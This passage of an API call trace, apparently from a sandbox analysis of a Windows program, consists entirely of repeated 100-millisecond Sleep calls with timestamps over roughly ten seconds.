Sleep (dwMilliseconds=0x64) [0297.957] Sleep (dwMilliseconds=0x64) [0297.972] Sleep (dwMilliseconds=0x64) [0297.990] Sleep (dwMilliseconds=0x64) [0298.003] Sleep (dwMilliseconds=0x64) [0298.018] Sleep (dwMilliseconds=0x64) [0298.034] Sleep (dwMilliseconds=0x64) [0298.050] Sleep (dwMilliseconds=0x64) [0298.066] Sleep (dwMilliseconds=0x64) [0298.081] Sleep (dwMilliseconds=0x64) [0298.096] Sleep (dwMilliseconds=0x64) [0298.112] Sleep (dwMilliseconds=0x64) [0298.128] Sleep (dwMilliseconds=0x64) [0298.143] Sleep (dwMilliseconds=0x64) [0298.161] Sleep (dwMilliseconds=0x64) [0298.175] Sleep (dwMilliseconds=0x64) [0298.190] Sleep (dwMilliseconds=0x64) [0298.207] Sleep (dwMilliseconds=0x64) [0298.222] Sleep (dwMilliseconds=0x64) [0298.237] Sleep (dwMilliseconds=0x64) [0298.252] Sleep (dwMilliseconds=0x64) [0298.268] Sleep (dwMilliseconds=0x64) [0298.284] Sleep (dwMilliseconds=0x64) [0298.299] Sleep (dwMilliseconds=0x64) [0298.315] Sleep (dwMilliseconds=0x64) [0298.331] Sleep (dwMilliseconds=0x64) [0298.354] Sleep (dwMilliseconds=0x64) [0298.371] Sleep (dwMilliseconds=0x64) [0298.378] Sleep (dwMilliseconds=0x64) [0298.395] Sleep (dwMilliseconds=0x64) [0298.408] Sleep (dwMilliseconds=0x64) [0298.424] Sleep (dwMilliseconds=0x64) [0298.440] Sleep (dwMilliseconds=0x64) [0298.456] Sleep (dwMilliseconds=0x64) [0298.471] Sleep (dwMilliseconds=0x64) [0298.487] Sleep (dwMilliseconds=0x64) [0298.503] Sleep (dwMilliseconds=0x64) [0298.518] Sleep (dwMilliseconds=0x64) [0298.533] Sleep (dwMilliseconds=0x64) [0298.549] Sleep (dwMilliseconds=0x64) [0298.564] Sleep (dwMilliseconds=0x64) [0298.582] Sleep (dwMilliseconds=0x64) [0298.596] Sleep (dwMilliseconds=0x64) [0298.611] Sleep (dwMilliseconds=0x64) [0298.627] Sleep (dwMilliseconds=0x64) [0298.643] Sleep (dwMilliseconds=0x64) [0298.658] Sleep (dwMilliseconds=0x64) [0298.674] Sleep (dwMilliseconds=0x64) [0298.689] Sleep (dwMilliseconds=0x64) [0298.705] Sleep (dwMilliseconds=0x64) [0298.720] Sleep (dwMilliseconds=0x64) [0298.737] Sleep (dwMilliseconds=0x64) [0298.752] Sleep (dwMilliseconds=0x64) [0298.768] Sleep (dwMilliseconds=0x64) [0298.783] Sleep (dwMilliseconds=0x64) [0298.801] Sleep (dwMilliseconds=0x64) [0298.814] Sleep (dwMilliseconds=0x64) [0298.830] Sleep (dwMilliseconds=0x64) [0298.845] Sleep (dwMilliseconds=0x64) [0298.861] Sleep (dwMilliseconds=0x64) [0298.877] Sleep (dwMilliseconds=0x64) [0298.892] Sleep (dwMilliseconds=0x64) [0298.909] Sleep (dwMilliseconds=0x64) [0298.923] Sleep (dwMilliseconds=0x64) [0298.939] Sleep (dwMilliseconds=0x64) [0298.955] Sleep (dwMilliseconds=0x64) [0298.970] Sleep (dwMilliseconds=0x64) [0298.986] Sleep (dwMilliseconds=0x64) [0299.001] Sleep (dwMilliseconds=0x64) [0299.017] Sleep (dwMilliseconds=0x64) [0299.032] Sleep (dwMilliseconds=0x64) [0299.048] Sleep (dwMilliseconds=0x64) [0299.068] Sleep (dwMilliseconds=0x64) [0299.079] Sleep (dwMilliseconds=0x64) [0299.095] Sleep (dwMilliseconds=0x64) [0299.111] Sleep (dwMilliseconds=0x64) [0299.126] Sleep (dwMilliseconds=0x64) [0299.142] Sleep (dwMilliseconds=0x64) [0299.157] Sleep (dwMilliseconds=0x64) [0299.173] Sleep (dwMilliseconds=0x64) [0299.188] Sleep (dwMilliseconds=0x64) [0299.204] Sleep (dwMilliseconds=0x64) [0299.220] Sleep (dwMilliseconds=0x64) [0299.235] Sleep (dwMilliseconds=0x64) [0299.251] Sleep (dwMilliseconds=0x64) [0299.267] Sleep (dwMilliseconds=0x64) [0299.282] Sleep (dwMilliseconds=0x64) [0299.298] Sleep (dwMilliseconds=0x64) [0299.314] Sleep (dwMilliseconds=0x64) [0299.329] Sleep (dwMilliseconds=0x64) [0299.353] Sleep (dwMilliseconds=0x64) [0299.360] Sleep (dwMilliseconds=0x64) [0299.387] Sleep (dwMilliseconds=0x64) [0299.391] Sleep (dwMilliseconds=0x64) [0299.407] Sleep (dwMilliseconds=0x64) [0299.423] Sleep (dwMilliseconds=0x64) [0299.438] Sleep (dwMilliseconds=0x64) [0299.454] Sleep (dwMilliseconds=0x64) [0299.469] Sleep (dwMilliseconds=0x64) [0299.485] Sleep (dwMilliseconds=0x64) [0299.500] Sleep (dwMilliseconds=0x64) [0299.516] Sleep (dwMilliseconds=0x64) [0299.532] Sleep (dwMilliseconds=0x64) [0299.547] Sleep (dwMilliseconds=0x64) [0299.563] Sleep (dwMilliseconds=0x64) [0299.578] Sleep (dwMilliseconds=0x64) [0299.594] Sleep (dwMilliseconds=0x64) [0299.610] Sleep (dwMilliseconds=0x64) [0299.625] Sleep (dwMilliseconds=0x64) [0299.641] Sleep (dwMilliseconds=0x64) [0299.657] Sleep (dwMilliseconds=0x64) [0299.672] Sleep (dwMilliseconds=0x64) [0299.688] Sleep (dwMilliseconds=0x64) [0299.703] Sleep (dwMilliseconds=0x64) [0299.719] Sleep (dwMilliseconds=0x64) [0299.735] Sleep (dwMilliseconds=0x64) [0299.750] Sleep (dwMilliseconds=0x64) [0299.766] Sleep (dwMilliseconds=0x64) [0299.781] Sleep (dwMilliseconds=0x64) [0299.798] Sleep (dwMilliseconds=0x64) [0299.812] Sleep (dwMilliseconds=0x64) [0299.828] Sleep (dwMilliseconds=0x64) [0299.844] Sleep (dwMilliseconds=0x64) [0299.863] Sleep (dwMilliseconds=0x64) [0299.875] Sleep (dwMilliseconds=0x64) [0299.890] Sleep (dwMilliseconds=0x64) [0299.906] Sleep (dwMilliseconds=0x64) [0299.922] Sleep (dwMilliseconds=0x64) [0299.937] Sleep (dwMilliseconds=0x64) [0299.953] Sleep (dwMilliseconds=0x64) [0299.969] Sleep (dwMilliseconds=0x64) [0299.984] Sleep (dwMilliseconds=0x64) [0300.000] Sleep (dwMilliseconds=0x64) [0300.017] Sleep (dwMilliseconds=0x64) [0300.031] Sleep (dwMilliseconds=0x64) [0300.046] Sleep (dwMilliseconds=0x64) [0300.062] Sleep (dwMilliseconds=0x64) [0300.078] Sleep (dwMilliseconds=0x64) [0300.093] Sleep (dwMilliseconds=0x64) [0300.109] Sleep (dwMilliseconds=0x64) [0300.124] Sleep (dwMilliseconds=0x64) [0300.143] Sleep (dwMilliseconds=0x64) [0300.156] Sleep (dwMilliseconds=0x64) [0300.171] Sleep (dwMilliseconds=0x64) [0300.188] Sleep (dwMilliseconds=0x64) [0300.203] Sleep (dwMilliseconds=0x64) [0300.218] Sleep (dwMilliseconds=0x64) [0300.234] Sleep (dwMilliseconds=0x64) [0300.249] Sleep (dwMilliseconds=0x64) [0300.265] Sleep (dwMilliseconds=0x64) [0300.280] Sleep (dwMilliseconds=0x64) [0300.296] Sleep (dwMilliseconds=0x64) [0300.312] Sleep (dwMilliseconds=0x64) [0300.328] Sleep (dwMilliseconds=0x64) [0300.351] Sleep (dwMilliseconds=0x64) [0300.359] Sleep (dwMilliseconds=0x64) [0300.374] Sleep (dwMilliseconds=0x64) [0300.401] Sleep (dwMilliseconds=0x64) [0300.405] Sleep (dwMilliseconds=0x64) [0300.421] Sleep (dwMilliseconds=0x64) [0300.436] Sleep (dwMilliseconds=0x64) [0300.452] Sleep (dwMilliseconds=0x64) [0300.468] Sleep (dwMilliseconds=0x64) [0300.483] Sleep (dwMilliseconds=0x64) [0300.499] Sleep (dwMilliseconds=0x64) [0300.514] Sleep (dwMilliseconds=0x64) [0300.530] Sleep (dwMilliseconds=0x64) [0300.546] Sleep (dwMilliseconds=0x64) [0300.561] Sleep (dwMilliseconds=0x64) [0300.577] Sleep (dwMilliseconds=0x64) [0300.592] Sleep (dwMilliseconds=0x64) [0300.608] Sleep (dwMilliseconds=0x64) [0300.624] Sleep (dwMilliseconds=0x64) [0300.639] Sleep (dwMilliseconds=0x64) [0300.655] Sleep (dwMilliseconds=0x64) [0300.671] Sleep (dwMilliseconds=0x64) [0300.686] Sleep (dwMilliseconds=0x64) [0300.702] Sleep (dwMilliseconds=0x64) [0300.718] Sleep (dwMilliseconds=0x64) [0300.733] Sleep (dwMilliseconds=0x64) [0300.748] Sleep (dwMilliseconds=0x64) [0300.764] Sleep (dwMilliseconds=0x64) [0300.780] Sleep (dwMilliseconds=0x64) [0300.795] Sleep (dwMilliseconds=0x64) [0300.811] Sleep (dwMilliseconds=0x64) [0300.827] Sleep (dwMilliseconds=0x64) [0300.842] Sleep (dwMilliseconds=0x64) [0300.861] Sleep (dwMilliseconds=0x64) [0300.873] Sleep (dwMilliseconds=0x64) [0300.889] Sleep (dwMilliseconds=0x64) [0300.904] Sleep (dwMilliseconds=0x64) [0300.920] Sleep (dwMilliseconds=0x64) [0300.936] Sleep (dwMilliseconds=0x64) [0300.952] Sleep (dwMilliseconds=0x64) [0300.967] Sleep (dwMilliseconds=0x64) [0300.983] Sleep (dwMilliseconds=0x64) [0300.998] Sleep (dwMilliseconds=0x64) [0301.014] Sleep (dwMilliseconds=0x64) [0301.029] Sleep (dwMilliseconds=0x64) [0301.045] Sleep (dwMilliseconds=0x64) [0301.060] Sleep (dwMilliseconds=0x64) [0301.076] Sleep (dwMilliseconds=0x64) [0301.093] Sleep (dwMilliseconds=0x64) [0301.107] Sleep (dwMilliseconds=0x64) [0301.123] Sleep (dwMilliseconds=0x64) [0301.138] Sleep (dwMilliseconds=0x64) [0301.154] Sleep (dwMilliseconds=0x64) [0301.170] Sleep (dwMilliseconds=0x64) [0301.185] Sleep (dwMilliseconds=0x64) [0301.201] Sleep (dwMilliseconds=0x64) [0301.217] Sleep (dwMilliseconds=0x64) [0301.232] Sleep (dwMilliseconds=0x64) [0301.248] Sleep (dwMilliseconds=0x64) [0301.264] Sleep (dwMilliseconds=0x64) [0301.279] Sleep (dwMilliseconds=0x64) [0301.295] Sleep (dwMilliseconds=0x64) [0301.310] Sleep (dwMilliseconds=0x64) [0301.327] Sleep (dwMilliseconds=0x64) [0301.341] Sleep (dwMilliseconds=0x64) [0301.366] Sleep (dwMilliseconds=0x64) [0301.372] Sleep (dwMilliseconds=0x64) [0301.388] Sleep (dwMilliseconds=0x64) [0301.415] Sleep (dwMilliseconds=0x64) [0301.419] Sleep (dwMilliseconds=0x64) [0301.435] Sleep (dwMilliseconds=0x64) [0301.452] Sleep (dwMilliseconds=0x64) [0301.466] Sleep (dwMilliseconds=0x64) [0301.482] Sleep (dwMilliseconds=0x64) [0301.497] Sleep (dwMilliseconds=0x64) [0301.513] Sleep (dwMilliseconds=0x64) [0301.528] Sleep (dwMilliseconds=0x64) [0301.546] Sleep (dwMilliseconds=0x64) [0301.560] Sleep (dwMilliseconds=0x64) [0301.576] Sleep (dwMilliseconds=0x64) [0301.591] Sleep (dwMilliseconds=0x64) [0301.607] Sleep (dwMilliseconds=0x64) [0301.622] Sleep (dwMilliseconds=0x64) [0301.638] Sleep (dwMilliseconds=0x64) [0301.656] Sleep (dwMilliseconds=0x64) [0301.669] Sleep (dwMilliseconds=0x64) [0301.687] Sleep (dwMilliseconds=0x64) [0301.700] Sleep (dwMilliseconds=0x64) [0301.718] Sleep (dwMilliseconds=0x64) [0301.731] Sleep (dwMilliseconds=0x64) [0301.750] Sleep (dwMilliseconds=0x64) [0301.763] Sleep (dwMilliseconds=0x64) [0301.778] Sleep (dwMilliseconds=0x64) [0301.794] Sleep (dwMilliseconds=0x64) [0301.809] Sleep (dwMilliseconds=0x64) [0301.825] Sleep (dwMilliseconds=0x64) [0301.841] Sleep (dwMilliseconds=0x64) [0301.856] Sleep (dwMilliseconds=0x64) [0301.872] Sleep (dwMilliseconds=0x64) [0301.889] Sleep (dwMilliseconds=0x64) [0301.903] Sleep (dwMilliseconds=0x64) [0301.919] Sleep (dwMilliseconds=0x64) [0301.934] Sleep (dwMilliseconds=0x64) [0301.957] Sleep (dwMilliseconds=0x64) [0301.965] Sleep (dwMilliseconds=0x64) [0301.981] Sleep (dwMilliseconds=0x64) [0301.996] Sleep (dwMilliseconds=0x64) [0302.012] Sleep (dwMilliseconds=0x64) [0302.028] Sleep (dwMilliseconds=0x64) [0302.044] Sleep (dwMilliseconds=0x64) [0302.059] Sleep (dwMilliseconds=0x64) [0302.074] Sleep (dwMilliseconds=0x64) [0302.090] Sleep (dwMilliseconds=0x64) [0302.106] Sleep (dwMilliseconds=0x64) [0302.122] Sleep (dwMilliseconds=0x64) [0302.137] Sleep (dwMilliseconds=0x64) [0302.153] Sleep (dwMilliseconds=0x64) [0302.170] Sleep (dwMilliseconds=0x64) [0302.184] Sleep (dwMilliseconds=0x64) [0302.199] Sleep (dwMilliseconds=0x64) [0302.215] Sleep (dwMilliseconds=0x64) [0302.236] Sleep (dwMilliseconds=0x64) [0302.246] Sleep (dwMilliseconds=0x64) [0302.262] Sleep (dwMilliseconds=0x64) [0302.277] Sleep (dwMilliseconds=0x64) [0302.293] Sleep (dwMilliseconds=0x64) [0302.308] Sleep (dwMilliseconds=0x64) [0302.324] Sleep (dwMilliseconds=0x64) [0302.340] Sleep (dwMilliseconds=0x64) [0302.365] Sleep (dwMilliseconds=0x64) [0302.371] Sleep (dwMilliseconds=0x64) [0302.386] Sleep (dwMilliseconds=0x64) [0302.407] Sleep (dwMilliseconds=0x64) [0302.418] Sleep (dwMilliseconds=0x64) [0302.433] Sleep (dwMilliseconds=0x64) [0302.450] Sleep (dwMilliseconds=0x64) [0302.464] Sleep (dwMilliseconds=0x64) [0302.480] Sleep (dwMilliseconds=0x64) [0302.496] Sleep (dwMilliseconds=0x64) [0302.511] Sleep (dwMilliseconds=0x64) [0302.527] Sleep (dwMilliseconds=0x64) [0302.543] Sleep (dwMilliseconds=0x64) [0302.558] Sleep (dwMilliseconds=0x64) [0302.574] Sleep (dwMilliseconds=0x64) [0302.589] Sleep (dwMilliseconds=0x64) [0302.606] Sleep (dwMilliseconds=0x64) [0302.621] Sleep (dwMilliseconds=0x64) [0302.636] Sleep (dwMilliseconds=0x64) [0302.652] Sleep (dwMilliseconds=0x64) [0302.668] Sleep (dwMilliseconds=0x64) [0302.683] Sleep (dwMilliseconds=0x64) [0302.699] Sleep (dwMilliseconds=0x64) [0302.714] Sleep (dwMilliseconds=0x64) [0302.730] Sleep (dwMilliseconds=0x64) [0302.752] Sleep (dwMilliseconds=0x64) [0302.761] Sleep (dwMilliseconds=0x64) [0302.777] Sleep (dwMilliseconds=0x64) [0302.792] Sleep (dwMilliseconds=0x64) [0302.808] Sleep (dwMilliseconds=0x64) [0302.823] Sleep (dwMilliseconds=0x64) [0302.839] Sleep (dwMilliseconds=0x64) [0302.855] Sleep (dwMilliseconds=0x64) [0302.870] Sleep (dwMilliseconds=0x64) [0302.886] Sleep (dwMilliseconds=0x64) [0302.901] Sleep (dwMilliseconds=0x64) [0302.917] Sleep (dwMilliseconds=0x64) [0302.932] Sleep (dwMilliseconds=0x64) [0302.948] Sleep (dwMilliseconds=0x64) [0302.964] Sleep (dwMilliseconds=0x64) [0302.980] Sleep (dwMilliseconds=0x64) [0302.998] Sleep (dwMilliseconds=0x64) [0303.010] Sleep (dwMilliseconds=0x64) [0303.026] Sleep (dwMilliseconds=0x64) [0303.042] Sleep (dwMilliseconds=0x64) [0303.057] Sleep (dwMilliseconds=0x64) [0303.077] Sleep (dwMilliseconds=0x64) [0303.088] Sleep (dwMilliseconds=0x64) [0303.104] Sleep (dwMilliseconds=0x64) [0303.120] Sleep (dwMilliseconds=0x64) [0303.135] Sleep (dwMilliseconds=0x64) [0303.151] Sleep (dwMilliseconds=0x64) [0303.167] Sleep (dwMilliseconds=0x64) [0303.182] Sleep (dwMilliseconds=0x64) [0303.198] Sleep (dwMilliseconds=0x64) [0303.214] Sleep (dwMilliseconds=0x64) [0303.229] Sleep (dwMilliseconds=0x64) [0303.248] Sleep (dwMilliseconds=0x64) [0303.260] Sleep (dwMilliseconds=0x64) [0303.276] Sleep (dwMilliseconds=0x64) [0303.291] Sleep (dwMilliseconds=0x64) [0303.307] Sleep (dwMilliseconds=0x64) [0303.323] Sleep (dwMilliseconds=0x64) [0303.338] Sleep (dwMilliseconds=0x64) [0303.362] Sleep (dwMilliseconds=0x64) [0303.369] Sleep (dwMilliseconds=0x64) [0303.385] Sleep (dwMilliseconds=0x64) [0303.400] Sleep (dwMilliseconds=0x64) [0303.429] Sleep (dwMilliseconds=0x64) [0303.432] Sleep (dwMilliseconds=0x64) [0303.447] Sleep (dwMilliseconds=0x64) [0303.463] Sleep (dwMilliseconds=0x64) [0303.479] Sleep (dwMilliseconds=0x64) [0303.494] Sleep (dwMilliseconds=0x64) [0303.510] Sleep (dwMilliseconds=0x64) [0303.525] Sleep (dwMilliseconds=0x64) [0303.542] Sleep (dwMilliseconds=0x64) [0303.565] Sleep (dwMilliseconds=0x64) [0303.575] Sleep (dwMilliseconds=0x64) [0303.590] Sleep (dwMilliseconds=0x64) [0303.603] Sleep (dwMilliseconds=0x64) [0303.619] Sleep (dwMilliseconds=0x64) [0303.634] Sleep (dwMilliseconds=0x64) [0303.650] Sleep (dwMilliseconds=0x64) [0303.669] Sleep (dwMilliseconds=0x64) [0303.681] Sleep (dwMilliseconds=0x64) [0303.697] Sleep (dwMilliseconds=0x64) [0303.713] Sleep (dwMilliseconds=0x64) [0303.728] Sleep (dwMilliseconds=0x64) [0303.744] Sleep (dwMilliseconds=0x64) [0303.759] Sleep (dwMilliseconds=0x64) [0303.775] Sleep (dwMilliseconds=0x64) [0303.791] Sleep (dwMilliseconds=0x64) [0303.806] Sleep (dwMilliseconds=0x64) [0303.822] Sleep (dwMilliseconds=0x64) [0303.837] Sleep (dwMilliseconds=0x64) [0303.853] Sleep (dwMilliseconds=0x64) [0303.869] Sleep (dwMilliseconds=0x64) [0303.887] Sleep (dwMilliseconds=0x64) [0303.900] Sleep (dwMilliseconds=0x64) [0303.915] Sleep (dwMilliseconds=0x64) [0303.931] Sleep (dwMilliseconds=0x64) [0303.947] Sleep (dwMilliseconds=0x64) [0303.962] Sleep (dwMilliseconds=0x64) [0303.978] Sleep (dwMilliseconds=0x64) [0303.995] Sleep (dwMilliseconds=0x64) [0304.009] Sleep (dwMilliseconds=0x64) [0304.024] Sleep (dwMilliseconds=0x64) [0304.041] Sleep (dwMilliseconds=0x64) [0304.056] Sleep (dwMilliseconds=0x64) [0304.073] Sleep (dwMilliseconds=0x64) [0304.087] Sleep (dwMilliseconds=0x64) [0304.103] Sleep (dwMilliseconds=0x64) [0304.118] Sleep (dwMilliseconds=0x64) [0304.134] Sleep (dwMilliseconds=0x64) [0304.149] Sleep (dwMilliseconds=0x64) [0304.165] Sleep (dwMilliseconds=0x64) [0304.180] Sleep (dwMilliseconds=0x64) [0304.197] Sleep (dwMilliseconds=0x64) [0304.212] Sleep (dwMilliseconds=0x64) [0304.227] Sleep (dwMilliseconds=0x64) [0304.243] Sleep (dwMilliseconds=0x64) [0304.259] Sleep (dwMilliseconds=0x64) [0304.274] Sleep (dwMilliseconds=0x64) [0304.290] Sleep (dwMilliseconds=0x64) [0304.306] Sleep (dwMilliseconds=0x64) [0304.321] Sleep (dwMilliseconds=0x64) [0304.336] Sleep (dwMilliseconds=0x64) [0304.361] Sleep (dwMilliseconds=0x64) [0304.369] Sleep (dwMilliseconds=0x64) [0304.383] Sleep (dwMilliseconds=0x64) [0304.399] Sleep (dwMilliseconds=0x64) [0304.423] Sleep (dwMilliseconds=0x64) [0304.434] Sleep (dwMilliseconds=0x64) [0304.445] Sleep (dwMilliseconds=0x64) [0304.461] Sleep (dwMilliseconds=0x64) [0304.477] Sleep (dwMilliseconds=0x64) [0304.492] Sleep (dwMilliseconds=0x64) [0304.508] Sleep (dwMilliseconds=0x64) [0304.524] Sleep (dwMilliseconds=0x64) [0304.539] Sleep (dwMilliseconds=0x64) [0304.556] Sleep (dwMilliseconds=0x64) [0304.572] Sleep (dwMilliseconds=0x64) [0304.586] Sleep (dwMilliseconds=0x64) [0304.604] Sleep (dwMilliseconds=0x64) [0304.617] Sleep (dwMilliseconds=0x64) [0304.633] Sleep (dwMilliseconds=0x64) [0304.648] Sleep (dwMilliseconds=0x64) [0304.664] Sleep (dwMilliseconds=0x64) [0304.680] Sleep (dwMilliseconds=0x64) [0304.695] Sleep (dwMilliseconds=0x64) [0304.711] Sleep (dwMilliseconds=0x64) [0304.727] Sleep (dwMilliseconds=0x64) [0304.745] Sleep (dwMilliseconds=0x64) [0304.758] Sleep (dwMilliseconds=0x64) [0304.776] Sleep (dwMilliseconds=0x64) [0304.789] Sleep (dwMilliseconds=0x64) [0304.804] Sleep (dwMilliseconds=0x64) [0304.820] Sleep (dwMilliseconds=0x64) [0304.836] Sleep (dwMilliseconds=0x64) [0304.852] Sleep (dwMilliseconds=0x64) [0304.867] Sleep (dwMilliseconds=0x64) [0304.882] Sleep (dwMilliseconds=0x64) [0304.898] Sleep (dwMilliseconds=0x64) [0304.914] Sleep (dwMilliseconds=0x64) [0304.929] Sleep (dwMilliseconds=0x64) [0304.947] Sleep (dwMilliseconds=0x64) [0304.961] Sleep (dwMilliseconds=0x64) [0304.976] Sleep (dwMilliseconds=0x64) [0304.992] Sleep (dwMilliseconds=0x64) [0305.007] Sleep (dwMilliseconds=0x64) [0305.023] Sleep (dwMilliseconds=0x64) [0305.039] Sleep (dwMilliseconds=0x64) [0305.054] Sleep (dwMilliseconds=0x64) [0305.070] Sleep (dwMilliseconds=0x64) [0305.085] Sleep (dwMilliseconds=0x64) [0305.102] Sleep (dwMilliseconds=0x64) [0305.116] Sleep (dwMilliseconds=0x64) [0305.132] Sleep (dwMilliseconds=0x64) [0305.148] Sleep (dwMilliseconds=0x64) [0305.163] Sleep (dwMilliseconds=0x64) [0305.179] Sleep (dwMilliseconds=0x64) [0305.195] Sleep (dwMilliseconds=0x64) [0305.210] Sleep (dwMilliseconds=0x64) [0305.228] Sleep (dwMilliseconds=0x64) [0305.241] Sleep (dwMilliseconds=0x64) [0305.257] Sleep (dwMilliseconds=0x64) [0305.272] Sleep (dwMilliseconds=0x64) [0305.288] Sleep (dwMilliseconds=0x64) [0305.304] Sleep (dwMilliseconds=0x64) [0305.319] Sleep (dwMilliseconds=0x64) [0305.335] Sleep (dwMilliseconds=0x64) [0305.359] Sleep (dwMilliseconds=0x64) [0305.366] Sleep (dwMilliseconds=0x64) [0305.381] Sleep (dwMilliseconds=0x64) [0305.397] Sleep (dwMilliseconds=0x64) [0305.413] Sleep (dwMilliseconds=0x64) [0305.443] Sleep (dwMilliseconds=0x64) [0305.444] Sleep (dwMilliseconds=0x64) [0305.459] Sleep (dwMilliseconds=0x64) [0305.475] Sleep (dwMilliseconds=0x64) [0305.491] Sleep (dwMilliseconds=0x64) [0305.506] Sleep (dwMilliseconds=0x64) [0305.522] Sleep (dwMilliseconds=0x64) [0305.538] Sleep (dwMilliseconds=0x64) [0305.553] Sleep (dwMilliseconds=0x64) [0305.569] Sleep (dwMilliseconds=0x64) [0305.585] Sleep (dwMilliseconds=0x64) [0305.600] Sleep (dwMilliseconds=0x64) [0305.616] Sleep (dwMilliseconds=0x64) [0305.632] Sleep (dwMilliseconds=0x64) [0305.647] Sleep (dwMilliseconds=0x64) [0305.663] Sleep (dwMilliseconds=0x64) [0305.678] Sleep (dwMilliseconds=0x64) [0305.694] Sleep (dwMilliseconds=0x64) [0305.709] Sleep (dwMilliseconds=0x64) [0305.725] Sleep (dwMilliseconds=0x64) [0305.741] Sleep (dwMilliseconds=0x64) [0305.756] Sleep (dwMilliseconds=0x64) [0305.772] Sleep (dwMilliseconds=0x64) [0305.787] Sleep (dwMilliseconds=0x64) [0305.803] Sleep (dwMilliseconds=0x64) [0305.818] Sleep (dwMilliseconds=0x64) [0305.834] Sleep (dwMilliseconds=0x64) [0305.850] Sleep (dwMilliseconds=0x64) [0305.865] Sleep (dwMilliseconds=0x64) [0305.881] Sleep (dwMilliseconds=0x64) [0305.896] Sleep (dwMilliseconds=0x64) [0305.912] Sleep (dwMilliseconds=0x64) [0305.928] Sleep (dwMilliseconds=0x64) [0305.947] Sleep (dwMilliseconds=0x64) [0305.959] Sleep (dwMilliseconds=0x64) [0305.975] Sleep (dwMilliseconds=0x64) [0305.990] Sleep (dwMilliseconds=0x64) [0306.006] Sleep (dwMilliseconds=0x64) [0306.021] Sleep (dwMilliseconds=0x64) [0306.037] Sleep (dwMilliseconds=0x64) [0306.053] Sleep (dwMilliseconds=0x64) [0306.068] Sleep (dwMilliseconds=0x64) [0306.084] Sleep (dwMilliseconds=0x64) [0306.099] Sleep (dwMilliseconds=0x64) [0306.115] Sleep (dwMilliseconds=0x64) [0306.130] Sleep (dwMilliseconds=0x64) [0306.146] Sleep (dwMilliseconds=0x64) [0306.163] Sleep (dwMilliseconds=0x64) [0306.178] Sleep (dwMilliseconds=0x64) [0306.193] Sleep (dwMilliseconds=0x64) [0306.208] Sleep (dwMilliseconds=0x64) [0306.224] Sleep (dwMilliseconds=0x64) [0306.240] Sleep (dwMilliseconds=0x64) [0306.255] Sleep (dwMilliseconds=0x64) [0306.271] Sleep (dwMilliseconds=0x64) [0306.287] Sleep (dwMilliseconds=0x64) [0306.302] Sleep (dwMilliseconds=0x64) [0306.318] Sleep (dwMilliseconds=0x64) [0306.334] Sleep (dwMilliseconds=0x64) [0306.362] Sleep (dwMilliseconds=0x64) [0306.364] Sleep (dwMilliseconds=0x64) [0306.380] Sleep (dwMilliseconds=0x64) [0306.396] Sleep (dwMilliseconds=0x64) [0306.411] Sleep (dwMilliseconds=0x64) [0306.429] Sleep (dwMilliseconds=0x64) [0306.442] Sleep (dwMilliseconds=0x64) [0306.458] Sleep (dwMilliseconds=0x64) [0306.474] Sleep (dwMilliseconds=0x64) [0306.489] Sleep (dwMilliseconds=0x64) [0306.505] Sleep (dwMilliseconds=0x64) [0306.520] Sleep (dwMilliseconds=0x64) [0306.537] Sleep (dwMilliseconds=0x64) [0306.552] Sleep (dwMilliseconds=0x64) [0306.567] Sleep (dwMilliseconds=0x64) [0306.583] Sleep (dwMilliseconds=0x64) [0306.599] Sleep (dwMilliseconds=0x64) [0306.614] Sleep (dwMilliseconds=0x64) [0306.630] Sleep (dwMilliseconds=0x64) [0306.645] Sleep (dwMilliseconds=0x64) [0306.661] Sleep (dwMilliseconds=0x64) [0306.676] Sleep (dwMilliseconds=0x64) [0306.693] Sleep (dwMilliseconds=0x64) [0306.709] Sleep (dwMilliseconds=0x64) [0306.724] Sleep (dwMilliseconds=0x64) [0306.739] Sleep (dwMilliseconds=0x64) [0306.755] Sleep (dwMilliseconds=0x64) [0306.770] Sleep (dwMilliseconds=0x64) [0306.786] Sleep (dwMilliseconds=0x64) [0306.801] Sleep (dwMilliseconds=0x64) [0306.817] Sleep (dwMilliseconds=0x64) [0306.832] Sleep (dwMilliseconds=0x64) [0306.848] Sleep (dwMilliseconds=0x64) [0306.865] Sleep (dwMilliseconds=0x64) [0306.879] Sleep (dwMilliseconds=0x64) [0306.895] Sleep (dwMilliseconds=0x64) [0306.911] Sleep (dwMilliseconds=0x64) [0306.926] Sleep (dwMilliseconds=0x64) [0306.942] Sleep (dwMilliseconds=0x64) [0306.958] Sleep (dwMilliseconds=0x64) [0306.973] Sleep (dwMilliseconds=0x64) [0306.988] Sleep (dwMilliseconds=0x64) [0307.007] Sleep (dwMilliseconds=0x64) [0307.020] Sleep (dwMilliseconds=0x64) [0307.036] Sleep (dwMilliseconds=0x64) [0307.051] Sleep (dwMilliseconds=0x64) [0307.066] Sleep (dwMilliseconds=0x64) [0307.085] Sleep (dwMilliseconds=0x64) [0307.098] Sleep (dwMilliseconds=0x64) [0307.113] Sleep (dwMilliseconds=0x64) [0307.129] Sleep (dwMilliseconds=0x64) [0307.145] Sleep (dwMilliseconds=0x64) [0307.160] Sleep (dwMilliseconds=0x64) [0307.176] Sleep (dwMilliseconds=0x64) [0307.191] Sleep (dwMilliseconds=0x64) [0307.208] Sleep (dwMilliseconds=0x64) [0307.223] Sleep (dwMilliseconds=0x64) [0307.238] Sleep (dwMilliseconds=0x64) [0307.254] Sleep (dwMilliseconds=0x64) [0307.269] Sleep (dwMilliseconds=0x64) [0307.285] Sleep (dwMilliseconds=0x64) [0307.300] Sleep (dwMilliseconds=0x64) [0307.316] Sleep (dwMilliseconds=0x64) [0307.332] Sleep (dwMilliseconds=0x64) [0307.358] Sleep (dwMilliseconds=0x64) [0307.363] Sleep (dwMilliseconds=0x64) [0307.378] Sleep (dwMilliseconds=0x64) [0307.394] Sleep (dwMilliseconds=0x64) [0307.410] Sleep (dwMilliseconds=0x64) [0307.425] Sleep (dwMilliseconds=0x64) [0307.452] Sleep (dwMilliseconds=0x64) [0307.456] Sleep (dwMilliseconds=0x64) [0307.472] Sleep (dwMilliseconds=0x64) [0307.487] Sleep (dwMilliseconds=0x64) [0307.503] Sleep (dwMilliseconds=0x64) [0307.519] Sleep (dwMilliseconds=0x64) [0307.534] Sleep (dwMilliseconds=0x64) [0307.550] Sleep (dwMilliseconds=0x64) [0307.566] Sleep (dwMilliseconds=0x64) [0307.581] Sleep (dwMilliseconds=0x64) [0307.597] Sleep (dwMilliseconds=0x64) [0307.613] Sleep (dwMilliseconds=0x64) [0307.628] Sleep (dwMilliseconds=0x64) [0307.644] Sleep (dwMilliseconds=0x64) [0307.659] Sleep (dwMilliseconds=0x64) [0307.675] Sleep (dwMilliseconds=0x64) 